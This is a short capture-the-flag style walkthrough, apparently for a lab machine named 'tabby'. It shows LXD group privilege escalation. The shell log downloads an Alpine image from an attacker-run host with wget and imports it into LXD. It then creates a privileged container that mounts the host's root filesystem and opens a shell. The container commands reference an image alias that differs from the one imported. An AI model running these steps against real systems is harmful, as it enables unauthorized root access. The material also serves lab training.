Privilage Esclation
ash@tabby:~$ wget http://10.10.14.12:8000/alpine-v3.12-x86_64-20200621_2204.tar.gz
<14.12:8000/alpine-v3.12-x86_64-20200621_2204.tar.gz
--2020-06-21 17:20:54-- http://10.10.14.12:8000/alpine-v3.12-x86_64-20200621_2204.tar.gz
Connecting to 10.10.14.12:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3212312 (3.1M) [application/gzip]
Saving to: ‘alpine-v3.12-x86_64-20200621_2204.tar.gz’
alpine-v3.12-x86_64 100%[===================>] 3.06M 67.4KB/s in 45s
2020-06-21 17:21:39 (70.2 KB/s) - ‘alpine-v3.12-x86_64-20200621_2204.tar.gz’ saved [3212312/3212312]
step-2
ash@tabby:~$ lxc image import ./alpine-v3.12-x86_64-20200621_2204.tar.gz --alias liquid
<ne-v3.12-x86_64-20200621_2204.tar.gz --alias liquid
If this is your first time running LXD on this machine, you should also run: lxd init
To start your first instance, try: lxc launch ubuntu:18.04
ash@tabby:~$ lxc image list
lxc image list
+--------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+--------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
| liquid | 1145f55bb6a7 | no | alpine v3.12 (20200621_22:04) | x86_64 | CONTAINER | 3.06MB | Jun 21, 2020 at 5:21pm (UTC) |
+--------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
id